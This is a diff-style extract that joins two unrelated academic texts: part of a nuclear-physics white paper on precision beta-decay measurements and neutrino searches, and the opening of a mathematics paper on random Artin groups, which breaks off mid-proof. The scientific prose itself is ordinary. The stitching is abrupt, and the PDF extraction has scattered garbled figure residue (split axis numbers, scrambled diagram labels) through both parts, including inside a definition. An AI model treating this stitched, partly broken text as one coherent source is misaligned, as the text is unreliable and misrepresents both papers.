+multiple on-going analysis and future half-life, branching
+ratio, and QEC-value measurements, several efforts to
+measure correlation parameters in mirror transitions are
+underway. These includes more precise angular correla-
+tion measurements (aβν, Aβ, recoil-asymmetry, . . . ) of
+K and Rb isotopes with TRINAT, and the St. Benedict
+ion trapping system [51, 52] at the University of Notre
+Dame that will be devoted to measuring β-ν angular cor-
+relations in multiple mirror transitions including the very
+sensitive 17F.
+Recently, the use of superconducting tunnel junctions
+has shown tremendous promise for precision spectroscopy
+of recoiling ions following nuclear beta decay with vastly
+different systematic corrections to traditional approaches
+[53, 54].
+Unlike other quantum sensors, the microsec-
+ond(s) response time enables both high precision and
+high count rate spectroscopy, making them an ideal
+emerging technology for use at radioactive ion beam fa-
+cilities. The Superconducting Array for Low Energy Ra-
+diation (SALER) targets precision recoil spectroscopy
+of short-lived mirror isotopes such as 11C, which can
+open additional channels for precision Vud determina-
+tions. This includes isotopes typically inaccessible using
+ion or atom trap technology due to their long lifetimes,
+thereby providing complementary input.
+Besides a strong potential for a competitive Vud ex-
+traction, additional precision measurements in the low
+mass range (A < 20) provide critical input for nuclear
+ab initio theory efforts to benchmark and improve the
+nuclear structure corrections limiting the 0+ → 0+ Vud
+determination.
+IV.
+SEARCHES FOR TENSOR AND SCALAR
+CURRENTS
+A.
+Motivation
+Detailed studies of angular correlations in nuclear β
+decay played a key role in elucidating the “vector-minus-
+axial vector” (V−A) structure of the charged current elec-
+troweak interaction, which is mediated by the W boson.
+Today, nuclear β decay efforts remain at the forefront
+in searches for evidence of the additional scalar (S) and
+tensor (T) Lorentz-invariant interactions that naturally
+arise in SM extensions. Measurements of the β-ν angular
+correlation, the β asymmetry, and the Fierz interference
+term provide important constraints on BSM physics. On-
+going and planned experiments are poised to further re-
+fine these measurements, continuing to reach sensitivities
+that surpass that of the LHC.
+Nuclei that undergo allowed nuclear β decay provide
+excellent laboratories for these types of measurements.
+The underlying nature of the electroweak interaction can
+be isolated because the uncertainties associated with the
+nuclear medium are minimized. The nuclear-physics cor-
+rections that arise are typically of order 1%; as these
+measurements now aim for 0.1% precision or beyond,
+these corrections need to be carefully understood through
+nuclear-theory calculations and experimental constraints
+when possible. In addition, in certain select cases, pre-
+cise β-shape functions for forbidden β decays can access
+exotic couplings that are not accessible with allowed de-
+cays [55]. Measurements of spin asymmetry in EC decay
+of polarized nuclei are also proposed, taking advantage
+of its linear dependence on exotic couplings.
+
+5
+B.
+Progress
+Over the past decade, experimental developments
+paired with modern nuclear-theory calculations have
+yielded a new generation of β-decay studies that continue
+to reach unprecedented sensitivity.
+Atom-trap and ion-trap techniques have been used to
+collect and suspend samples of β-emitting isotopes in vac-
+uum, allowing both the measurement of the low-energy
+nuclear recoils, from which the neutrino momentum can
+be inferred, and the opportunity to polarize the confined
+nuclei. Experiments with the BPT at the ATLAS facil-
+ity at ANL, have achieved increasingly precise results for
+the β-ν angular correlations in 8Li [4, 56] and 8B [57].
+Atom traps have been used to determine this correlation
+in 6He [58] and to polarize 37K atoms to measure the
+β asymmetry [44, 45]. These experiments have achieved
+precision as good as 0.3%, placing stringent limits on the
+possible existence of tensor interactions and right-handed
+currents, and there are well-defined paths to further im-
+prove the precision.
+In addition, new ultra-sensitive detection techniques
+have been demonstrated that will undoubtedly increase
+the precision of angular-correlation measurements. The
+CRES measurement approach, first demonstrated with
+low-energy electrons, has recently been applied to the
+study of higher-energy β particles from the decays of
+6He and 19Ne [59].
+The implantation of β-emitters in
+ultrahigh-resolution cryogenic detectors and scintillator
+detectors also show great promise by capturing the full
+energy of the recoiling nucleus or the emitted β particle.
+At the same time, significant theoretical progress has
+been made in nuclear ab initio methods for precision cal-
+culations of β-decay observables, including energy spec-
+tra and angular correlations. Combined with a recent re-
+view and extension of allowed β decay spectroscopy cor-
+rections [60], as well as shape and recoil corrections for
+allowed and forbidden β decays [61], several independent
+calculations have provided precision input for interpreta-
+tion of β decays in 6He [62, 63] and 8Li [64], which vastly
+improves upon the previous state of the art. As shown in
+Ref. [64], highly reduced theoretical uncertainties have
+been achieved by identifying a strong correlation between
+the recoil-order terms and quadrupole moments, which
+emphasizes the significance of the proper treatment of
+collective features in nuclei, including ab initio predic-
+tions of quadrupole moments and E2 transitions without
+effective charges. Similar efforts are underway for addi-
+tional decays to ensure theoretical precision at the 0.01%
+level, thereby enabling discovery potential at the 10-TeV
+level. Comparison of β decay in consecutive isotopes is
+very important as there is no good understanding of in-
+terplay between the weak and strong interaction that is
+responsible for collective vibrations and rotations that
+can influence Gamow-Teller decays [65].
+C.
+Prospects
+This is a particularly exciting time for the search for
+BSM physics with nuclear β decay. Existing efforts have
+matured to the point where they are providing probes of
+new physics that are competitive (and complementary)
+with the reach of the LHC, and additional reach is immi-
+nent. In addition to increased sensitivity to be obtained
+by atom and ion trap based experiments, a set of new
+approaches are being developed to determine the β spec-
+tral shape to unprecedented precision, therefore greatly
+increasing the ability to determine the Fierz interference
+term.
+Further increase in sensitivity using the mass-8 system
+is being pursued and will require access to high-intensity
+beams of 8Li and 8B. New trap-structure designs to min-
+imize β-particle scattering and efforts to better charac-
+terize the detector-array performance will further reduce
+uncertainties. In addition, a better understanding of the
+low-lying continuum level structure of 8Be, including re-
+solving the question of the existence of low-lying intruder
+states, and the associated recoil-order contributions will
+be needed.
+Additional devices like TAMUTRAP and St.
+Bene-
+dict are poised to further extend the reach of precision
+angular-correlation measurements. A recent global fit of
+nuclear and neutron beta decay data show a hint of BSM
+tensor coupling to right-handed neutrinos at the 3σ-level
+[66]. This effect, that could be generated by various BSM
+effects such as a TeV-range leptoquark coupling to light
+quarks, positrons, and right-handed neutrinos, can only
+be seen with the inclusion of correlation measurement
+data of mirror transitions in the data set. Hence, there
+is a critical need to expend the mirror transition corre-
+lation measurement data set using instruments such as
+St. Benedict to better constrain this effect. Finally, the
+HUNTER collaboration is proposing a precision EC spin
+asymmetry measurement for which linear dependence on
+tensor couplings offers strong potential for advances.
+The CRES approach can be used to determine the
+spectral shapes of the 6He and 19Ne decays. By study-
+ing both β− and β+ decays, the sign of the Fierz inter-
+ference term changes sign, and therefore measuring both
+significantly reduces most systematic effects. In addition,
+by confining β-emitters in a specially-designed Penning
+trap for CRES measurements, the approach can be ex-
+tended to study any isotope, including nuclei that decay
+by pure Fermi transitions and enable increased sensitiv-
+ity to scalar interactions. As high precision methods for
+spectrum measurement are refined, sub 0.1% precision
+in spectral observables can enable a direct analysis of
+endpoint-related effects in the electroweak radiative cor-
+rections as well.
+Quantum sensors will enable high-precision nuclear-
+recoil spectroscopy following β decay for a wide range
+
+6
+of accessible isotopes in experiments such as SALER at
+FRIB. In addition to competitive determinations of Vud,
+precision measurements recoil spectra following beta de-
+cay and the relative decay fractions into electron capture
+and β+ branches provide a sensitivity enhancement to
+a non-zero Fierz interference term with substantially re-
+duced nuclear corrections.
+Similar to the 8Li beta decay [64], ab initio calculations
+of 8B beta decay recoil-order corrections are ongoing to
+help reduce the uncertainty on the tensor current limits
+from the β-ν angular correlation measurements in this
+nucleus. Given the collective and cluster nature of the
+decay product 8Be, as well as the near-threshold ground
+state of 8B, ab initio approaches that use hybrid basis
+such as symmetry-adapted and continuum bases allow
+one to reliably compute such contributions. Furthermore,
+with the help of the symmetry-adapted basis one can ex-
+tend the calculations to heavier systems such as 19Ne.
+Future experiments would benefit from having the en-
+ergy dependence of the recoil-order terms, which can be
+obtained by computing their response functions.
+V.
+BETA DECAYS FOR NEUTRINO PHYSICS
+A.
+Motivation
+The lepton sector of the SM provides a unique window
+into BSM physics given the confirmed observation of non-
+zero neutrino masses [67, 68], the persisting hint of the
+muon g − 2 anomaly [69], and several other outstanding
+claims of leptonic BSM physics. As a result, extensions to
+the SM description of leptons are unavoidable and must
+account for the fact that neutrinos have at least two non-
+zero mass eigenstates. The search for how to extend the
+SM in this area may indeed lead us to a wide range of
+BSM physics, including a connection to the dark sector.
+B.
+Progress and future - BSM neutrino masses
+Energy and momentum conservation in nuclear β de-
+cay allows model-independent searches for any new neu-
+trino mass physics coupled to the electron flavor, and is
+a uniquely powerful method for BSM physics searches
+in this area. This includes the absolute neutrino mass
+measurements of the light mass states via β decay end-
+point measurements as well as the search for new, heavy
+(mostly sterile) mass states as an expansion to the 3 × 3
+PMNS matrix.
+1.
+Absolute neutrino mass measurements
+Tritium β decay remains one of the most sensitive mea-
+surements of the absolute neutrino mass scale, indepen-
+dent of the nature of the neutrino mass (Majorana or
+Dirac). Currently, the KATRIN neutrino experiment has
+set the most stringent limit on the neutrino mass scale of
+mβ ≤ 0.8 eV/c2 at 90% C.L. using molecular tritium [70],
+with a final target mass sensitivity of mβ ≤ 0.2 eV/c2
+at 90% C.L. The Project 8 experiment, which uses the
+CRES technique to measure electrons from β decay, is de-
+veloping an R&D program for an atomic tritium source,
+with a target sensitivity of mβ ≤ 0.04 eV/c2 at 90%
+C.L. [71]. This is among the highest-impact physics cases
+in the β decay community, however since a separate, ded-
+icated whitepaper will be forthcoming from these collab-
+orations we do not emphasize it here.
+To go beyond mβ ≤ 0.04 eV/c2, however, new exper-
+imental paradigms must be considered. Of growing in-
+terest are ultra-low Q value β-decays that would occur
+from the ground state of the parent isotope to an excited
+nuclear state in the daughter with QES = QGS − E∗ ≲ 1
+keV. Such decays could provide new candidates for direct
+neutrino mass determination experiments [72] and fur-
+ther insight into atomic interference effects in β-decay at
+low energies [73]. A number of isotopes have been found
+that could have an ultra-low Q value transition [74–79],
+but more precise Q value (from Penning traps), and in
+some cases energy level data is needed [80–85]. Experi-
+mentally, these ultra-low Q values are challenging to im-
+plement, however recent work with trapped nanoscale
+objects may permit a variety of isotopes to be char-
+acterized while reaching sensitivities that are sufficient
+to resolve the requisite momenta in a single nuclear de-
+cay [86]. Solid materials allow a high density of nuclei to
+be confined in a trap, and enable control and readout of
+the motional state of the particle using tools from quan-
+tum optomechanics. Although challenging, it is plausible
+that smaller particles may eventually reach the momen-
+tum sensitivity needed to detect the mass of the light
+SM neutrinos. If an ultra-low Q value EC or β transition
+(≤ 0.1 keV) were also identified with sufficiently high de-
+cay rate, detection of the light neutrino masses with this
+technique may be possible [86].
+2.
+Direct search for sub-MeV sterile neutrinos
+The search for sub-MeV sterile neutrinos via precision
+nuclear decay measurements is among the most powerful
+methods for BSM massive-neutrino searches since it relies
+only on the existence of a heavy neutrino admixture to
+the active neutrinos, and not on the model-dependent de-
+tails of their interactions. Sub-MeV sterile neutrinos are
+well motivated, natural extensions to the Standard Model
+(SM) that have been extensively studied over the past 25
+years [88–90]. To date, the vast majority of laboratory-
+based experimental searches for neutrinos in this mass
+range have been performed using momentum and energy
+conservation in nuclear β decay. The neutrino “missing
+
+7
+1
+−
+10
+1
+10
+2
+10
+3
+10
+4
+10
+5
+10
+6
+10
+7
+10
+)
+2
+ (eV/c
+4
+m
+10
+−
+10
+9
+−
+10
+8
+−
+10
+7
+−
+10
+6
+−
+10
+5
+−
+10
+4
+−
+10
+3
+−
+10
+2
+−
+10
+1
+−
+10
+1
+θ
+2
+ = sin
+2|
+e4
+|U
+Historical Limits
+BeEST
+DUNE
+HUNTER
+KATRIN, TRISTAN
+Project 8
+β
+β
+ν
+2
+Figure 2.
+Projected sensitivities for heavy sterile neutrino
+searches in the eV - MeV mass range for current and planned
+experiments including the KATRIN/TRISTAN, Project-8,
+HUNTER, and the BeEST. Figure from Snowmass 2022 [87].
+mass" is reconstructed using precise momentum measure-
+ment of all other products (including the recoil nucleus)
+from decay of a nucleus at rest. The experimental situa-
+tion is simplified dramatically in neutron-deficient nuclei
+where the 3-body β decay mode is energetically forbid-
+den, and thus the parent nucleus only undergoes nuclear
+electron capture (EC) decay. Precision measurement of
+the low-energy nuclear recoil and all the other (low en-
+ergy) decay products allows the neutrino four-momentum
+and mass to be directly probed. Measurements of this
+type are currently being performed using 7Be decay by
+the BeEST experiment [53, 54, 91] and planned for 131Cs
+by the HUNTER experiment [92]. The projected limits
+from these experiments are impressive (Fig. 2) and will
+provide the most stringent constraints on the existence of
+these particles. In fact, the BeEST experiment currently
+sets the best laboratory limits in the 100 - 850 keV mass
+range of any experimental method [54].
+C.
+Other prospects
+β decay measurements not only provide direct probes
+of BSM physics but also support other exotic neutrino
+physics searches, including:
+• Reactor-Antineutrino Anomaly (RAA) – Experi-
+mental β-shape functions are needed in order to
+get to % level ¯ν flux predictions [93–99].
+• Precisely measure dominant backgrounds for dark
+matter searches and for neutrino-less-double β de-
+cays (0νββ) [100].
+Nuclear theory also plays a critical role in this area.
+In particular, neutrinoless double beta (0νββ) decay nu-
+clear matrix elements [101–104], precision β- and EC-
+decay spectral calculations [55, 60, 99, 105], and neutrino-
+nucleus interactions. Both experimental and theoretical
+spectroscopy efforts to resolve shape factors of forbid-
+den beta decays in the fission fragment region and their
+inclusion in nuclear databases has been recognized as a
+significant goal for the reactor neutrino field [106].
+VI.
+RARE DECAYS
+A.
+Motivation
+Rare decays in the nuclear domain may represent
+a window for the study of unknown phenomena.
+As
+an example, it was suggested that the neutron lifetime
+anomaly could be caused by a dark decay branch [107], on
+which neutron star observables can provide strong con-
+straints [108].
+This could have as a consequence that
+very loosely bound neutrons in exotic nuclei could decay
+in a similar way, and the residual nucleus would be the
+signature of such a decay [109].
+B.
+Progress and future prospects
+A promising candidate is the decay of 11Be where the
+dark decay would produce 10Be as residue.
+11Be also
+has a (β, p) decay branching leading to 10Be (an unusual
+decay for a neutron rich nucleus) that was measured re-
+cently [110]. It was confirmed that this decay proceeds
+via a near threshold resonance in 11B [111, 112]. This
+resonance near threshold can be considered as an exam-
+ple of an open quantum system resonance. The question
+if there is, or if there is not, a signature for a dark decay
+is not yet solved because of scattered results on the 10Be
+production ratio [113]. Another case that was measured
+in 2021 is the β decay of 6He and search of a dark neu-
+tron decay to the unbound 5He that can be probed by
+the following neutron decay to 4He. A very low upper
+limit was found in this case [114]. More generally, rare
+decays will favor visibility of higher order effects because
+they may become competitive with respect to standard
+interactions.
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+

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+RANDOM ARTIN GROUPS
+ANTOINE GOLDSBOROUGH AND NICOLAS VASKOU
+Abstract. We introduce a new model of random Artin groups. The two variables we consider are the
+rank of the Artin groups and the set of permitted coefficients of their defining graphs.
+The heart of our model is to control the speed at which we make that set of permitted coefficients
+grow relatively to the growth of the rank of the groups, as it turns out different speeds yield very different
+results. We describe these speeds by means of (often polynomial) functions. In this model, we show
+that for a large range of such functions, a random Artin group satisfies most conjectures about Artin
+groups asymptotically almost surely.
+Our work also serves as a study of how restrictive the commonly studied families of Artin groups
+are, as we compute explicitly the probability that a random Artin group belongs to various families of
+Artin groups, such as the classes of 2-dimensional Artin groups, FC-type Artin groups, large-type Artin
+groups, and others.
+1. Introduction.
+Artin groups are a family of groups that have drawn an increasing interest in the past few decades.
+They are defined as follows. Let Γ be a defining graph, that is a simplicial graph with vertex set V (Γ)
+and edge set E(Γ), such that every edge eab of Γ connecting two vertices a and b is given a coefficient
+mab ∈ {2, 3, · · · }. Then Γ defines an Artin group:
+AΓ := ⟨ V (Γ) |
+aba · · ·
+� �� �
+mab terms
+=
+bab · · ·
+� �� �
+mab terms
+, ∀eab ∈ E(Γ) ⟩.
+The cardinality of V (Γ), that is the number of standard generators of AΓ, is called the rank of AΓ.
+When a and b are not connected by an edge we set mab := ∞.
+One of the main reasons why Artin groups have become of such great interest is because of the amount
+of (often easily stated) conjectures and problems about them that are still to be solved. While some of
+these conjectures are algebraic (torsion, centres), some others are more geometric (acylindrical hyper-
+bolicity, CAT(0)-ness), algorithmic (word and conjugacy problems, biautomaticity), or even topological.
+Although close to none of these conjectures or problems has been answered in the most general case,
+there has been progress on each of them. A common theme towards proving these conjectures has been
+to prove them for smaller families of Artin groups.
+The goal of this paper is to consider Artin groups with a probabilistic approach. One might wonder
+“What does a typical Artin group look like?”, and hence want to define a notion of randomness for Artin
+groups. By computing the different “sizes” of the most commonly studied classes of Artin groups, we give
+a way to quantify how restrictive these different classes really are. In light of that, our model provides
+a novel and explicit way of quantifying the state of the common knowledge about the aforementioned
+conjectures and problems about Artin groups.
+Although Artin groups are defined using defining graphs, it is not known in general when two defining
+graphs give rise to isomorphic Artin groups. This problem, known as the isomorphism problem, is
+actually quite hard to solve even for restrictive classes of Artin groups. With our current knowledge, any
+(reachable) theory of randomness for Artin groups must then be based on the randomness of defining
+graphs, and not of the Artin groups themselves.
+Random right-angled Coxeter (and Artin) groups have been studied by several authors in the literature
+([CF12], [BHS17]), using the Erd˝os–R´enyi model. While in [CF12] the authors fix the probability of
+apparition of an edge as some constant 0 ≤ p ≤ 1, in [BHS17] this model is refined: p = p(N) depends on
+1
+arXiv:2301.04211v1  [math.GR]  10 Jan 2023
+
+2
+ANTOINE GOLDSBOROUGH AND NICOLAS VASKOU
+the rank N of the group. That said, these models restrict to right-angled groups, where the associated
+defining graphs are not labelled. In [Dei20], the author introduces a model of randomness for Coxeter
+groups in general. There are similarities between this model and ours, although the former revolves more
+about making the probabilities of apparition of specific coefficients vary. In particular, this model is not
+very well suited to provide insights on the “sizes” of the most commonly studied classes of Coxeter and
+Artin groups. On the contrary, this is a central goal of our model.
+The two variables that come to mind when thinking about Artin groups are their rank, that is the
+number of vertices of the defining graph, as well as the choice of the associated coefficients. A first step
+in the theory is to consider what happens if we restrict ourselves to the family GN,M of all the defining
+graphs with N vertices and with coefficients in {∞, 2, 3, · · · , M}, for some N ≥ 1 and M ≥ 2. As we
+want any possible rank and any possible coefficient to eventually appear in a random Artin group, a
+convenient way to think about randomness is to pick a defining graph at random in the family GN,M,
+and then to make N and M grow to infinity.
+As it turns out, randomness of defining graphs highly depends on the speed at which N and M grow.
+A prime example of this is that the probability for a defining graph of GN,M to give an Artin group of
+large-type (meaning that none of the coefficients is 2) tends to 1 when M grows much faster than N,
+and tends to 0 when N grows much faster than M. To solve this problem, we decide to relate N and M
+through a function f so that M := f(N). This way, we only have to look at the family GN,f(N) when N
+goes to infinity.
+If AF is a family of Artin groups coming from a family of defining graphs F, a way of measuring the
+“size” of AF is to compute the limit
+lim
+N→∞
+#(F ∩ GN,f(N))
+#(GN,f(N))
+.
+Of course, this ratio depends on the choice we make for the function f. When the above limit is 1,
+that is when the probability that a graph picked at random in GN,f(N) will give an Artin group that
+belongs to the said family AF tends to 1, we say that an Artin group picked at random (relatively to f)
+is asymptotically almost surely in AF.
+That said, there are families AF of Artin groups for which the above limit tends to 1 no matter what
+(sensible) choice we make for the function f. We say that such a family is uniformly large (resp.
+uniformly small if that limit is always 0). Our first result concern such families of Artin groups:
+Theorem 1.1. The family of irreducible Artin groups and the family of Artin groups with connected
+defining graphs are uniformly large. On the other hand, the family of Artin groups of type FC is uniformly
+small. In particular, the same applies to the families of RAAGs and triangle-free Artin groups.
+As mentioned earlier, there are numerous families of Artin groups whose “size” depends on the choice
+of function f. When f is large enough, which means that the choice of possible coefficients for the defining
+graphs grows fast enough compared to the rank of the Artin group, we obtain much stronger results.
+This is made explicit in the next two theorems.
+Before stating these results, we recall a very natural partial ordering on (non-decreasing divergent)
+functions, which is given by f ≻ g whenever limN→∞ f(N)/g(N) = ∞.
+Theorem 1.2. Let AF be any family of Artin groups defined by forbidding a finite number k of coefficients
+from their defining graphs, and consider a function f : N → N. Let Γ be a graph picked at random in
+GN,f(N). Then:
+(1) If f(N) ≻ N 2, then AΓ asymptotically almost surely belongs to F.
+(2) If f(N) ≺ N 2, then AΓ asymptotically almost surely does not belong to F.
+(3) If f(N) = N 2, then the probability that AΓ belongs to F tends to e−k/2 when N → ∞.
+Note that the previous theorem applies to the families of large-type, extra-large-type, or large-type
+and free-of-infinity Artin groups. There are strong results in the literature about these families of Artin
+
+RANDOM ARTIN GROUPS
+3
+groups, as most of the famous conjectures and problems about Artin groups have been solved for at least
+one of them (see Section 2).
+While these different families of Artin groups have the same threshold at f(N) = N 2 no matter how
+many coefficients we forbid, the class of 2-dimensional Artin groups turns out to be substantially bigger.
+Studying this class, we obtain the following result:
+Theorem 1.3. Consider a non-decreasing divergent function f : N → N. Let Γ be a graph picked at
+random in GN,f(N). Then:
+(1) If f(N) ≻ N 3/2, then AΓ asymptotically almost surely is 2-dimensional.
+(2) If f(N) ≺ N 3/2, then AΓ asymptotically almost surely is not 2-dimensional.
+A consequence of the two previous theorems is that we are able, when f grows fast enough, to show
+that an Artin group picked at random asymptotically almost surely satisfies most of the main conjectures
+about Artin groups:
+Theorem 1.4. Let f : N → N be such that f(N) ≻ N 3/2, and let Γ be a graph picked at random in
+GN,f(N). Then asymptotically almost surely, the following properties hold:
+(1) AΓ is torsion-free;
+(2) AΓ has trivial centre;
+(3) AΓ has solvable word and conjugacy problem;
+(4) AΓ satisfies the K(π, 1)-conjecture;
+(5) The set of parabolic subgroups of AΓ is closed under (arbitrary) intersections;
+(6) AΓ is acylindrically hyperbolic;
+(7) AΓ satisfies the Tits Alternative.
+Moreover, if f(N) ≻ N 2 then asymptotically almost surely the following properties also hold:
+(8) AΓ is CAT(0);
+(9) AΓ is hierarchically hyperbolic;
+(10) AΓ is systolic and thus biautomatic;
+(11) Aut(AΓ) ∼= AΓ ⋊ Out(AΓ), where Out(AΓ) ∼= Aut(Γ) × (Z/2Z) is finite.
+At last, we also prove interesting results for families of Artin groups in which the number M of
+permitted coefficients grows “slowly enough” compared to the rank N. We focus on the class of Artin
+groups AΓ whose associated graphs Γ are not cones, and we prove that for most (non-decreasing divergent)
+functions, the probability that a random Artin group is acylindrically hyperbolic and has trivial centre
+tends to 1.
+Theorem 1.5. Let α ∈ (0, 1) and let f : N → N be a non-decreasing divergent function satisfying
+f(N) ≺ N 1−α. Let now Γ be a graph picked at random in GN,f(N). Then the associated Artin group AΓ
+is acylindrically hyperbolic and has trivial centre asymptotically almost surely.
+Even though the order on (non-decreasing divergent) function is not total, the results of the above
+theorems for polynomial functions can be encapsulated in Figure 1.
+The previous results shows that we are very close to being able to state that “almost all Artin groups
+are acylindrically hyperbolic and have trivial centres”. That said, there is a small range of functions for
+which no probabilistic result regarding acylindrical hyperbolicity or centres being trivial can be stated.
+In light of that, we raise the following problem:
+Question 1.6. Construct a family AF of acylindrically hyperbolic Artin groups or of Artin groups with
+trivial centres for which the following holds:
+There exists an α ∈ (0, 1) such that for all functions f : N → N satisfying N 1−α ≼ f(N) ≼ N 3/2, a
+graph Γ picked at random in GN,f(N) is such that AΓ asymptotically almost surely belongs to AF.
+
+4
+ANTOINE GOLDSBOROUGH AND NICOLAS VASKOU
+Figure 1. The axis represents various (polynomial) functions f. Above the main axis
+are described the classes of Artin groups that we obtain asymptotically almost surely
+relatively to f, while under this axis we list the properties that we know these groups
+will satisfy asymptotically almost surely.
+Acknowledgements. The authors would like to thank Alessandro Sisto for helpful conversations and
+for pointing out the strategy of the second moment method and Alexandre Martin for useful comments.
+We would also like to thank the Institut Henri Poincar´e (UAR 839 CNRS-Sorbonne Universit´e), and
+LabEx CARMIN (ANR-10-LABX-59-01) for providing a warm environment for this project to begin.
+The work of the first author was supported by the EPSRC-UKRI studentship EP/V520044/1.
+2. Preliminaries and first results.
+In this section we bring more details about some of the notions discussed in the introduction. This
+includes discussions about most of the commonly studied classes of Artin groups, as well as discussions
+regarding open conjectures related to Artin groups.
+Throughout this paper, we will often call a triangle in a graph Γ any subgraph of Γ that is generated
+by 3 vertices. This notation will be convenient, although one must note that with this definition, triangles
+may have strictly fewer than 3 edges, as subgraphs of Γ.
+Most of the main conjectures about Artin groups are still open in general. That said, many of them
+have been proved for smaller families of Artin groups. Two important of these families are the families
+of 2-dimensional Artin groups and the family of Artin groups of type FC. These two families have been
+extensively studied following the work of Charney and Davis (see [CD95a]).
+The other well-studied
+families are usually sub-families of these.
+Before coming to these definitions, we first recall what a parabolic subgroup of an Artin group is. Let
+AΓ be any Artin group, and let Γ′ be a full subgraph of Γ. A standard result about Artin groups states
+that the subgroup of AΓ generated by the vertices of Γ′ is also an Artin group, that is isomorphic to AΓ′
+([vdL83]). Such a subgroup is called a standard parabolic subgroup of AΓ. The conjugates of these
+subgroups are called the parabolic subgroups of AΓ.
+Definition 2.1. (0) An Artin group AΓ is said to be spherical if the associated Coxeter group WΓ is
+finite.
+(1) An Artin group AΓ is said to be 2-dimensional if for every triplet of distinct standard generators
+a, b, c ∈ V (Γ), the subgraph Γ′ spanned by a, b and c corresponds to an Artin group AΓ′ that is not
+
+Large, XL, XXL,Free-o
+I is not a cone
+2 - dimensional Artin groups
+N 1-α N
+N 3/2
+N2
+f(N)
+: Acylindrically hyperbolic
+: Trivial centre
+: Acylindrically hyperbolic
+. Solvable conjugacy problem
+.CAT(O)
+. Trivial centre
+ K(π, 1) - conjecture holds
+. Hierarchically hyperbolic
+. Parabolic subgroups stable
+. Systolic
+under conjugation
+• Finite Out(Ar)
+ Tits Alternative holdsRANDOM ARTIN GROUPS
+5
+spherical. By a result of ([CD95a]), this is equivalent to requiring that
+1
+mab
++
+1
+mac
++
+1
+mbc
+≤ 1.
+The family of 2-dimensional Artin groups contains the well-studied families of large-type Artin groups
+(every coefficient is at least 3), extra-large-type Artin groups (every coefficient is at least 4), or XXL
+Artin groups (every coefficient is at least 5).
+(2) An Artin group AΓ is said to be of type FC if every complete subgraph Γ′ ⊆ Γ generates an Artin
+group AΓ′ that is spherical. The family of Artin groups of type FC contains the family of right-angled
+Artin groups, also called RAAGs (the only permitted coefficients are 2 and ∞), the family of spherical
+Artin groups, and the family of triangle-free Artin groups (the Artin groups whose associated graphs
+don’t contain any 3-cycles). Being triangle-free is actually equivalent to being both of type FC and
+2-dimensional.
+We now move towards the main conjectures related to Artin groups. For each conjecture, we will briefly
+describe the state of the common research towards proving it, by mentioning the one or two result(s)
+that will turn out to be the more “probabilistically relevant” in our model. In other words, the results
+that cover the largest classes.
+Conjecture 2.2. Let AΓ be any Artin group. Then:
+(1) AΓ is torsion-free.
+�→ This was proved for 2-dimensional Artin groups ([CD95b]).
+(2) If AΓ is irreducible and non-spherical, then AΓ has trivial centre.
+�→ This was proved for 2-dimensional Artin groups ([Vas22a]), and for Artin groups whose
+graph is not the cone of a single vertex ([CMW19]).
+(3) AΓ has solvable word and conjugacy problems.
+�→ This was proved for 2-dimensional Artin groups ([HO19])
+(4) AΓ satisfies the K(π, 1)-conjecture.
+�→ This was proved for 2-dimensional Artin groups ([CD95b]).
+(5) Intersections of parabolic subgroups of AΓ give parabolic subgroups of AΓ.
+�→ This was proved for large-type Artin groups ([CMV22]) and more generally for (2, 2)-free
+2-dimensional Artin groups ([Blu21]).
+(6) AΓ is CAT(0).
+�→ This was proved for XXL Artin groups ([Hae22]).
+(7) If AΓ is irreducible and non-spherical, then AΓ is acylindrically hyperbolic.
+�→ This was proved for 2-dimensional Artin groups ( [Vas22a]), and for Artin groups whose
+graph is not the cone of a single vertex ([KO22])
+(8) AΓ is hierarchically hyperbolic.
+�→ This was proved for extra-large Artin groups.[HMS21]
+(9) AΓ is systolic and biautomatic.
+�→ This was proved for large-type Artin groups. [HO20]
+(10) AΓ satisfies the Tits Alternative.
+�→ This was proved for 2-dimensional Artin groups ([Mar22]).
+In addition to these conjectures, the following question has been raised:
+(11) When is Out(AΓ) finite?
+�→ This was proved to be the case for large-type free-of-infinity Artin groups ([Vas22b]).
+Definition 2.3. Let F be a family of defining graphs and let AF be the corresponding class of Artin
+groups. Let f : N → N be a non-decreasing divergent function. We define the probability that an Artin
+group AΓ picked at random (relatively to f) belongs to AF as the following limit, when it exists:
+Pf
+�
+AΓ ∈ AF
+� := lim
+N→∞ P
+�
+Γ ∈ F | Γ ∈ GN,f(N)�
+= lim
+N→∞
+#(F ∩ GN,f(N))
+#(GN,f(N))
+.
+
+6
+ANTOINE GOLDSBOROUGH AND NICOLAS VASKOU
+Furthermore, we say that an Artin group AΓ picked at random (relatively to f) is asymptotically
+almost surely in AF if Pf
+�
+AΓ ∈ AF
+�
+= 1. Similarly, we say that AΓ is asymptotically almost surely
+not in AF if Pf
+�
+AΓ ∈ AF
+�
+= 0.
+Definition 2.4. Let AF be a family of Artin groups. Then we say that AF is uniformly large if for
+every non-decreasing divergent function f : N → N, an Artin group AΓ picked at random (relatively to
+f) is asymptotically almost surely in AF. We say that F is uniformly small if AΓ is asymptotically
+almost surely not in AF.
+We now move towards our first results. The first thing we will proved is that the family of irreducible
+Artin groups and the family of Artin groups with connected defining graphs are uniformly large. This is
+important as many results regarding Artin groups assume that the corresponding groups are irreducible
+and/or have a connected defining graph. Our work show that these two hypotheses are very much not
+restrictive.
+Definition 2.5. Let Γ1 and Γ2 be two defining graphs. The graph Γ1 ∗k Γ2 is the graph obtained by
+attaching every vertex of Γ1 to every vertex of Γ2 by an edge with label k (with k ∈ {∞, 2, 3, · · · }).
+Let now Γ be any defining graph. Then Γ is called a k-join relatively to Γ1 and Γ2 is there are two
+subgraphs Γ1, Γ2 ⊆ Γ such that V (Γ1) ⊔ V (Γ2) = V (Γ) and such that Γ = Γ1 ∗k Γ2.
+We will denote by AJk the class of Artin groups whose defining graphs decompose as k-joins.
+Remark 2.6. (1) If Γ ∈ J2 then AΓ decomposes as a direct product AΓ1 × AΓ2 in an obvious way. In
+that case, Γ is called reducible. The class J C
+2
+of irreducible defining graphs will be denoted Irr.
+(2) If Γ ∈ J∞ then it is disconnected. The class J C
+∞ of connected defining graphs will be denoted Con.
+Lemma 2.7. The family AJk is uniformly small. In particular, the classes AIrr and ACon of Artin
+groups are both uniformly large.
+Proof. We will count the number of decompositions of the graph Γ as Γ = Γ1 ∗k Γ2.
+Without loss
+of generality, we will let Γ1 denote the subgraph with the lower rank, so that |V (Γ1)| ≤ ⌊N/2⌋. Let
+f : N → N be a non-decreasing divergent function and consider the family Jk. For a given N ≥ 1, we
+have:
+P
+�
+Γ ∈ Jk | Γ ∈ GN,f(N)�
+= P
+�
+∃ Γ1, Γ2
+with
+|V (Γ1)| ≤ N/2
+such that
